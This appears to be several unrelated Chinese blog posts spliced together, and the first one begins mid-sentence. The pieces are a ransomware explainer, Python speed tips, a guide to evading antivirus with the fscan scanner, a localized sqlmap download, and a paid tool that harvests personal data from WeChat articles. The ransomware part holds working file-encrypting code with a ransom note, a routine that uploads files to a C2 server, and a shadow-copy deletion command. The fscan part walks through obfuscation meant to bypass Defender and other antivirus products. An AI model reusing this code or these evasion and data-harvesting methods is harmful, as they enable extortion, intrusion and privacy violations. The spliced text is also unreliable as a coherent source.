Extortion）近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前，先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器，然后再去执行本地的加密操作。这也就意味着，就算你拥有完整的备份从而能够恢复数据，但是攻击者依旧还是有可能会对泄露你的数据进行威胁，并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚，只能够依从（攻击者的要求）。而后甚至发展成为三重勒索的情况，既对泄露数据进行威胁，又会发动DDoS攻击，还会去通知客户或者监管机构。3. 蠕虫传播型（Worm-style）代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点，那就是能够自己进行复制并且还能够主动地进行传播，不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue（永恒之蓝）漏洞，它针对Windows SMB协议的445端口来发起攻击，能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播，没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染，到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务（RaaS, Ransomware as a Service）当下黑产的主流运营模式便是这般，LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具，这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术，只要能够获取到目标网络的权限，就可以拿现成的病毒去进行攻击，赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低，这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型（Big Game Hunting）这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为，并非是进行广泛范围的扫描，而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动，对目标网络的拓扑结构、域环境状况以及备份策略等进行研究，甚至会首先对备份系统进行破坏，在确认一切准备就绪之后才发起攻击行动，像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解（教育目的）想要去理解防护方面的逻辑，那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本，只是对特定目录进行加密处理，不进行传播行为、不连接网络、不执行删除备份的操作，在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示，Fernet是一个封装好的对称加密库，使用AES-CBC模式：import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥（丢失则无法恢复）: {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked，如果没有密匙文件，是无法解密的随后留下一个文本，让你支付比特币这个版本不到50行代码，但你可以看出它和真正勒索病毒的差距：密钥管理这一块，玩具版是在本地生成密钥，在运行的时候就直接给打印出来。而真实的勒索病毒，是把RSA公钥硬编码在病毒里头，在本地随机生成AES密钥去加密文件，接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边，逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符，比如本地磁盘、网络共享盘、U盘，甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件，像是文档、数据库、图片这类，它不会去触碰系统文件，因为要是系统文件被加密从而导致系统无法启动了，那就没有人会支付赎金了。反恢复之手段：真实的病毒会做出如下这些行径，运用vssadmin delete shadows /all /quiet来删除卷影副本，禁用系统之还原功能，停止备份服务，并且还会将Windows备份目录予以删除 。对抗分析这一块，存在有加壳这样的操作，还有反调试的手段，反沙箱的措施，检测虚拟机环境的状况，以及延迟执行的状况，比如说等待好几个小时才开始加密，通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节：import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件，避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中，最先将会去开展压缩的操作，随后会去开展分块传输的相关动作，并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里，存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲，需要去构造特殊的SMB请求包，然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode，随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示，这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务（SQL Server、MySQL、Oracle等），因为数据库文件运行时被占用，加密不了删除Windows事件日志，清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器，进行横向移动遍历RDP连接记录和保存的凭据，扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况，众多企业出现问题，并非是由于某些高深的零日漏洞相关的原因，而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护，简单来说就是那么一些个事情，但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则：3 - 2 - 1备份准则所指的是，需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离，并非是那种处于公司内网里的另一台服务器，借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作，结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开，要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例，有备份的情况，但是当真正到了需要进行恢复的时候，却发现备份已经损坏了、版本也不对头，而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的，还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的，它和你的实例是相互分离的状态，病毒是没有办法接触到它的。你可以去设置自动快照的策略，每天开展快照操作，保留的时间为7到30天。倘若出现问题了，一键进行回滚操作，要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来：关于RDP/SSH出现暴力破解这种情况的话：不要采用密码来进行登录，而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面，要么对默认的端口进行更改，要么设置IP白名单只准许公司的IP来进行访问，最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况，人是比较容易出现问题的所在。是得去开展安全培训，不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关，来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态，可别随随便便就去启用它。漏洞补丁相关状况：在WannaCry爆发的时候，补丁已经发布两个月了。必须去构建补丁管理方面的流程，关键的安全补丁得及时地进行打上，可千万不能拖拖拉拉的。特别是针对面向公网的系统而言，漏洞公开之后，在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候，能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码，并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候，不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当，不要给予很多没有必要的写权限。有很多的webshell能够获取到权限，就是因为Web目录的权限太大了，直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已，那么445 SMB端口没有必要处于开启的状态，135 RPC端口也没有必要处于开启的状态，3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式，仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信，如果一台办公计算机感染了病毒，那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信，Web服务器只可以访问它所需要的数据库端口，其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件，可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为，要是发现有进程在进行批量加密文件的操作，它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器，几个坑反复踩：在安全组配置这一块的情况来讲，有相当多的人在购买了服务器之后，安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口，像是80和443端口开着就可以。而对于数据库端口，比如说3306、6379、5432这类的，绝对不可以对公网进行开放，只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强，而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了，那么对方不需要去破解你的服务器，直接就在控制台能够卸载你的云盘，之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略，可别等到想起来了再手动去进行拍摄。选云服务器的时候，可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的，安全组到底好不好用，有没有基础的DDoS防护，售后能不能够联系得到人。这些平常看起来好像没什么用处的东西，可是真的出现问题的时候，那可就是能够起到救命作用的东西。现在阿里云新用户轻量应用服务器一年几十块钱，腾讯云轻量也很便宜，快照、安全组、基础防护都有：阿里云：https://www.aliyun.com/daily-act/ecs/activity_selection?userCode=cghi65ph腾讯云：https://curl.qcloud.com/5dprr2YW薄荷云实惠海外服务器：https://www.boheidc.cn/aff/QOWYLYCV小的团队去弄一个官方的网站、博客以及内部的系统完全是足够的，可千万别在这方面去节省钱财。数据恢复的成本那可是比服务器要昂贵好多好多，贵上一百倍那都还不止。五、真中招了怎么办万一真遇到勒索病毒，按以下顺序处理：立刻断开网络连接。将网线拔掉或者把网卡进行禁用操作，以此来防止感染情况扩散到其他的设备之上。但是不要把电脑给关闭掉，这是因为内存当中有可能存在着密钥或者能够当作取证用的相关线索。留存现场状况：不要随意删除文件，也不要匆忙地去重装系统。倘若具备相应条件的话，先将内存dump出来，对磁盘做一个镜像备份，往后也许能够用于解密或者开展取证相关的相关事宜。要去确认病毒家族的情况的话，那就去查看勒索信的内容以及加密的后缀，之后把样本上传到https://www.nomoreransom.org这个网址去进行查询。有好多勒索家族在加密实现方面存在漏洞，安全厂商已经发布了免费的解密工具，不需要花钱就能够恢复数据。对恢复方案进行评估：倘若存在干净的离线备份，那么便直接重装系统并从备份处进行恢复，这是一种相对稳妥的办法。不要轻易去支付赎金，支付了赎金不一定就能够获取到密钥，即便获取到了密钥也不一定能够达到100%的恢复程度，而且一旦支付了赎金就会被标记成愿意付款的对象，下次还会被（不法分子）盯上。最后勒索病毒在技术层面并没有什么特别神秘之处。它所借助的就是人类的很多存在侥幸心理的情况。比如说觉得补丁晚个两三天打没什么大不了的事儿，密码设置得简单些图个方便，备份太麻烦就不进行，还觉得端口开着不会有别人来黑自己。每一项被人们所忽略掉的安全方面的步骤，在将来有极大的可能性会致使你损失好几十万元甚至于上百万元。防护工作并没有那么的繁杂，就是将基本的事情给做好并且做的非常的扎实。别等中招了才想起来做防护。
Python很慢？这十个方法让你的代码执行速度提升3倍！
前言Python，作为一种动态类型的解释性语言，确实在执行速度上可能不如C这样的静态类型的编译语言。但是，通过一些技巧和策略，我们可以显著提升Python代码的性能。本文将探讨如何通过优化方法使Python代码运行得更快、更高效。我们将利用Python的timeit模块来精确测量代码的执行时间。注意：timeit模块在默认情况下会重复执行代码一百万次，以确保测量结果的准确性和稳定性def print_hi(name): print(f'Hi, {name}') if __name__ == '__main__': # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit()如何计算Python脚本的运行时间呢？在time模块中time.perf_counter()提供了一个高精度的计时器，适合测量短时间，例如import time # 记录程序开始时间 start_time = time.perf_counter() # 你的代码逻辑 # ... # 记录程序结束时间 end_time = time.perf_counter() # 计算程序运行时间 run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")介绍一、I/O密集型操作I/O密集型操作（Input/Output Intensive Operation）指的是那些在执行过程中，大部分时间都花在等待输入/输出操作完成的程序或任务。I/O操作包括从磁盘读取数据、写入数据到磁盘、网络通信等。这些操作通常涉及到硬件设备，因此它们的执行速度受到硬件性能和I/O带宽的限制。他们的特点有：\1. 等待时间：程序在执行I/O操作时，往往需要等待数据从外部设备传输到内存，或从内存传输到外部设备，这会导致程序的执行被阻塞。\2. CPU利用效率：由于I/O操作的等待时间，CPU在这段时间内可能处于空闲状态，导致CPU利用率不高。\3. 性能瓶颈：I/O操作的速度往往成为程序性能的瓶颈，尤其是在数据量大或传输速度慢的情况下。例如，使用I/O密集型操作print，运行一百万次import time import timeit def print_hi(name): print(f'Hi, {name}') return if __name__ == '__main__': start_time = time.perf_counter() # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")运行结果为3s而不使用i/o操作执行一个方法，即调用这个print_hi('xxxx')空方法，不使用print()，程序明显快了不少def print_hi(name): # print(f'Hi, {name}') return如果代码中必要的时候，例如文件读写，可以使用如下方法提高效率异步I/O：使用异步编程模式例如asyncio，允许程序在等待I/O操作完成时继续执行其他任务，从而提高CPU利用率。缓冲：使用缓冲区暂存数据，减少I/O操作的频率。并行处理：并行执行多个I/O操作，以提高整体的数据处理速度。优化数据结构：选择合适的数据结构，减少数据的读取和写入次数。二、使用生成器生成列表、字典在Python 2.7及其后续版本中，引入了对列表、字典和集合生成器的改进，这些改进让数据结构的构建过程更加简明和高效。1、传统方法def fun1(): list=[] for i in range(100): list.append(i) if __name__ == '__main__': start_time = time.perf_counter() t = timeit.Timer(setup='from __main__ import fun1', stmt='fun1()') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒") # 输出结果：程序运行时间：3.3872999000595883 秒2、使用生成器优化代码注：为了方便以下内容皆省略主函数main的代码部分def fun1(): list=[ i for i in range(100)] # 程序运行时间：2.1053185999626294 秒从上述的推导式程序中可以看出，除了理解更简洁、更容易阅读之外，它也更快。这使得此方法成为生成列表和循环的首选方法。三、避免字符串连接，使用join()join() 是一个字符串方法，在Python中用于将序列中的元素连接（或拼接）成一个字符串，通常使用特定的分隔符。他的优点通常为：\1. 效率高：join() 是连接字符串的高效方法，尤其是当处理大量字符串时，它通常比使用 + 操作符或 % 格式化更快，在连接大量字符串时，join() 方法通常比逐个连接更节省内存。\2. 简洁性：join() 使得代码更加简洁，避免了重复的字符串连接操作。\3. 灵活性：可以指定任何字符串作为分隔符，这为字符串拼接提供了极大的灵活性。\4. 广泛的用途：不仅可以用于字符串，还可以用于列表、元组等序列类型，只要元素可以被转换成字符串。举例：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] s="" for i in obj: s+=i # 程序运行时间：0.3610708999913186 秒使用 join() 来实现字符串拼接：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] "".join(obj) # 程序运行时间：0.18804279994219542 秒使用join()将函数的执行时间从0.36秒减少到0.18秒。四、使用Map代替循环在多数场景中，传统的for循环可以被更为高效的map()函数所替代。map()*是一个Python内置的*高阶函数，它能够将指定的函数应用于各种可迭代的数据结构，如列表、元组或字符串。使用map()的主要优势在于，它提供了一种更为简洁且高效的数据处理方式，避免了编写显式的循环代码。传统的循环方式：def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] new = [] for i in arr: new.append(i) # 程序运行时间：0.31288250000216067 秒使用map()函数做相同的功能：def fun2(x): return x def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] map(fun2,arr) # 程序运行时间：0.18387670000083745 秒对比之后，使用map()节省了将近一半的时间，大大提升了运行效率五、选择正确的数据结构选用恰当的数据结构对提升Python代码的执行效率至关重要。各类数据结构都针对特定操作进行了优化，合理选择能够加速数据的检索、添加和移除过程，进而增强程序的整体运行效能。例如，判断容器内的元素的时候，字典的查找效率高于列表，但是是在大量数据的情况下，少量数据恰恰相反# 使用少量数据进行测试 def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] 'hello' in arr 'my' in arr # 程序运行时间：0.11527379998005927 秒 def fun1(): arr={"hello", "my", "name", "is", "xiaoyu", "!"} 'hello' in arr 'my' in arr # 程序运行时间：0.17057139997836202 秒 # 使用 numpy 进行随机生成100个整数 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：14.48330469999928 秒 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：13.411826699972153 秒看到了在少量数据的情况下list执行效率是要大于dict的，但是在大量数据的情况下，dict的效率大于list如果有频繁的新增、删除操作，新增、删除的元素数量又很多时，list的效率不高。此时，应该考虑使用collections.deque。collections.deque是双端队列，同时具备栈和队列的特性，能够在两端进行 O(1)复杂度的插入和删除操作。collections.deque的使用from collections import deque def fun1(): arr=deque()# 创建一个空的deque for i in range(1000000): arr.append(i) # 程序运行时间：0.05507110000002058 秒 def fun1(): arr=[] for i in range(1000000): arr.append(i) # 程序运行时间：0.06128990000001977 秒list的查找操作也非常耗时。当需要在list频繁查找某些元素，或频繁有序访问这些元素时，可以使用bisect维护list对象有序并在其中进行二分查找，提升查找的效率。六、避免不必要的函数调用在Python编程中，优化函数调用次数对于提升代码效率至关重要。过多的函数调用不仅增加了开销，还可能消耗额外的内存，从而拖慢程序的运行速度。为了提升性能，我们应尽量减少不必要的函数调用，并尝试将多个操作合并成一个，以此来减少执行时间和资源消耗。这样的优化策略有助于我们编写更高效、更快速的代码。七、避免不必要的import虽然Python的import语句相对较快，但每个import都会涉及到查找模块、执行模块代码（如果还没有被执行过）、并将模块对象放入到当前命名空间中。这些操作都需要一定的时间和内存。当你不必要地导入模块时，就会增加这些开销。八、避免使用全局变量import math size=10000 def fun1(): for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：15.630933800013736 许多程序员刚开始会用 Python 语言写一些简单的脚本，当编写脚本时，通常习惯了直接将其写为全局变量，例如上面的代码。但是，由于全局变量和局部变量实现方式不同，定义在全局范围内的代码运行速度会比定义在函数中的慢不少。通过将脚本语句放入到函数中，通常可带来 15% - 30% 的速度提升。import math def fun1(): size = 10000 for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：14.933845699997619 秒九、避免模块和函数属性访问import math # 不推荐写法 def fun2(size: int): result = [] for i in range(size): result.append(math.sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：10.154493000009097 秒每次使用.（属性访问操作符时）会触发特定的方法，如__getattribute__()和__getattr__()，这些方法会进行字典操作，因此会带来额外的时间开销。通过from import语句，可以消除属性访问。from math import sqrt # 推荐写法：用到哪个模块就导哪个模块 def fun2(size: int): result = [] for i in range(size): result.append(sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：8.960758000030182 秒十、减少内层for循环的计算import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): for y in range(size): z = sqrt(x) + sqrt(y) # sqrt() 求非负实数的平方根 # 程序运行时间：14.267008299939334 秒在上面代码中sqrt(x)位于内测for循环，每次循环都会重新计算，增加不必要的时间开销import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): sqrt_x=sqrt(x) # 在外层for循环进行计算 for y in range(size): z = sqrt_x + sqrt(y) # 程序运行时间：8.499037600005977 秒总结通过这些方法，我们可以有效地提高Python代码的性能，使其在处理复杂任务时更加快速和高效。记住，性能优化是一个持续的过程，需要根据具体情况不断调整和改进，python运行速度的优化方法不限于以上方法，还有很多，如有大佬路过，请多指教。
fscan免杀研究，过国内所有最新版杀软以及Defender
先来看看效果，当前fscan版本为2.1.3，github最新版，上周发布的，https://github.com/shadow1ng/fscan/设置好代理$env:GO111MODULE = "on" $env:GOPROXY = " https://goproxy.cn ,direct" 编译方法go build -ldflags="-s -w" -trimpath main.go 1、特征替换比如改！windows下的批量替换脚本Get-ChildItem -Recurse -Filter "*.go" | ForEach-Object { (Get-Content $_.FullName) -replace 'github.com/shadow1ng/fscan', 'xiaoyu' | Set-Content $_.FullName } 2、版本信息在flag.go中能找到这些信息改！3、清除残留字符commin/logger.go改！core/port_scan.go 修改 PE 头信息core/web_scanner.go改！web/api/result.go改！4、修改banner同样的也在flag.go中改！5、打包go.mod最上面一行，否则会导致编译不成功，改！打包go build -ldflags="-s -w" -trimpath main.go 火绒被杀换一种打包方案$env:GOOS="windows"; $env:GOARCH="amd64"; go build -ldflags="-s -w" -trimpath main.go 还是被火绒杀掉无窗口模式go build -ldflags="-s -w -H=windowsgui" -trimpath -o fscan_no_window.exe main.go 还是被杀6、加壳被杀7、安装garblego env -w GOPROXY=https://goproxy.cn,direct go install mvdan.cc/garble@latest go mod tidy garble基础混淆，被杀go run mvdan.cc/garble@latest -seed=random build -ldflags="-s -w" -trimpath -o xiaoyu.exe . garble 加上 -literals 字符串加密，被杀go run mvdan.cc/garble@latest -seed=random -literals build -o xiaoyu.exe main.go 其他免杀操作，比如添加大量无用代码/虚假函数/变量/结构体，改变变量名称，添加大量虚假运算、控制流、数据结构，添加虚假网络操作，反调试技术，DLL等等我有一刀，可斩宇宙！[狗头]360防护引擎全开本地执行一切正常没有被杀火绒内存查杀全开windows安全中心分析时间，2026年5月21日，晚18点55分注：因部分人原因，本文仅提供免杀学习参考，不分享任何文中所使用到的工具，小羽我技术菜，工具过不了卡巴，就别喷了
这次汉化的比较全面，免费分享，之前流传的中文版本已经非常老了，还系统不兼容，现在是26年最新版本的sqlmap，版本号1.10.5.3首先就是使用示例：我搜集了各种常用的sqlmap命令，直接举例在了帮助界面中，这样就能直接复制粘贴，再也不用手动敲命令了帮助界面汉化另外对于一些细节也做了汉化处理对于注入类型也进行了汉化处理，以及操作系统识别，web识别，后端识别等等表数据获取--os-shell获取方式，给我赚个转存费就行（无夸克链接，只有百度）：通过网盘分享的文件：工具专区 链接: https://pan.baidu.com/s/1XUsii27r3js5InpM5cQziw 提取码: yqwy
WxProbe，一款自研的公众号敏感信息收集工具
此工具的灵感主要是源于一次北京红队金融项目，在公众号这块的信息收集实验比较少，要手动一个一个公众号去翻，特意写的一个工具这个工具主要用于敏感信息收集工具，专注于微信公众号文章批量获取与 AI 智能分析。通过 Token 登录微信公众平台，批量抓取指定公众号发布的历史文章，利用 DeepSeek AI 识别手机号、身份证、邮箱、车牌号、密码等等敏感信息。以及公司关联信息，公司注册资金、统一信用代码，法定代表人，股东结构等等信息（AI生成的结果，仅供参考）注：此工具仅限于学习使用，请勿用于非法用途，若造成不良后果，与工具开发者以及泷羽Sec安全团队无关，请自行承担相应的法律责任，此工具禁止逆向源码，一旦发现，后果自负，若需要源码二开，可以自行联系工具作者一次性买断（白菜价）。技术架构WxProbe ├── WeChatLogin # Token + Cookie 登录管理 ├── ArticleFetcher # 文章列表获取 + 正文抓取 │ ├── scrapling # headless 隐身模式（反爬） │ └── requests # 保底方案 ├── SensitiveInfoAnalyzer │ ├── _regex_scan # 正则快速扫描（手机号/身份证/邮箱/IP等） │ └── analyze_single # DeepSeek AI 深度分析 ├── WechatSogouAPI # 搜狗微信搜索（可选） └── ShadowEyeApp (UI) ├── 公众号情报 Tab ├── 搜狗搜索 Tab ├── URL 抓取 Tab └── 设置 / 导出 模块 功能 🔐 公众号情报 Token 一键登录 → 搜索公众号 → 多页爬取文章 → AI 分析 → 导出报告 🔎 搜狗搜索 无需登录，直接搜索微信文章 → 一键抓取 → AI 分析敏感信息 📎 URL 抓取 粘贴微信文章链接（单条/批量），抓取正文并用 AI 分析 🤖 AI 分析 DeepSeek + 正则双引擎：手机号、身份证、邮箱、IP、银行卡、密钥等 使用教程打开微信公众平台扫码登录登录后复制token复制cookie复制到这上面来输入之后就能登录成功尝试搜索公众号默认是五页选择自己要爬取的公众号后点击爬取刚开始是没有敏感信息的，需要手动点击是否进行AI分析，这里使用的AI是deepseek需要在系统设置，设置自己的apikey和模型名称AI分析完成后，可以在敏感信息中看到常见的手机号、身份证号、姓名、邮箱、地址、IP地址、银行卡号、网站链接/域名、密码/密钥/Token、组织机构代码、车牌号、QQ/微信号、其他PII等等，对于公司信息会调出企业工商信息，比如（注册资金，实缴资本、统一社会信用代码、注册时间等等工商信息，以及公司结构）这对于公众号这块的信息来讲是非常的有用的中国债卷尝试若您对结果不满意，可以导出功能，自行对数据进行分析2、信息收集部分，本工具已绕过搜狗反爬功能，您可以通过搜狗搜索引擎，搜索到微信公众号相关文章，利用AI进行敏感信息分析，和前面一样比如邮箱、手机号等等信息，为了稳定请不要频繁点击某一个功能，耐心等待工具执行（若数据量较大可能要等待10分钟、一小时），在此期间可以双击某一个文章查看文章详情注意：对于搜狗搜索引擎，单个文章建议请抓取一次即可，不要重复抓取，否则极易促发反爬。3、若您已经拥有了一定数量的公众号相关的URL，则可以使用URL抓取功能例如https://mp.weixin.qq.com/s/caVRY62bhNZm5Ri81oqUwghttps://mp.weixin.qq.com/s/hcB1m6tmDFfx9PA7rNzOZA注意：对于某号文章爬取，可全面绕过，稳定爬取，无需担心被拦截，但需要确保你已成功登录工具获取方式，扫描下方二维码加入freebuf知识大陆即可获取，仅需79此时加入，可获取香港免备案服务器一个月使用权（配置：4核心 4GB 硬盘：40G 带宽：10Mbps 峰值 流量：无流量限制），限时到2026年6月1日之前，之后不再赠送注：服务器使用需要实名，介意的话可以忽略赠品常见问题Q: 搜狗搜索提示验证码拦截？ 先执行一次搜索（让系统建立 session），搜索成功后 session 会缓存，后续抓取会复用该 session。Q: URL 抓取按钮一直"分析中"？ 需要先在「公众号情报」tab 完成登录。如果已登录仍卡住，可能是网络问题，2 分钟超时后会自动恢复。Q: 分析结果为空或"未获取到正文"？ scrapling 可能被反爬。程序会自动降级到 requests + BeautifulSoup 保底方案。如仍失败，检查文章链接是否有效。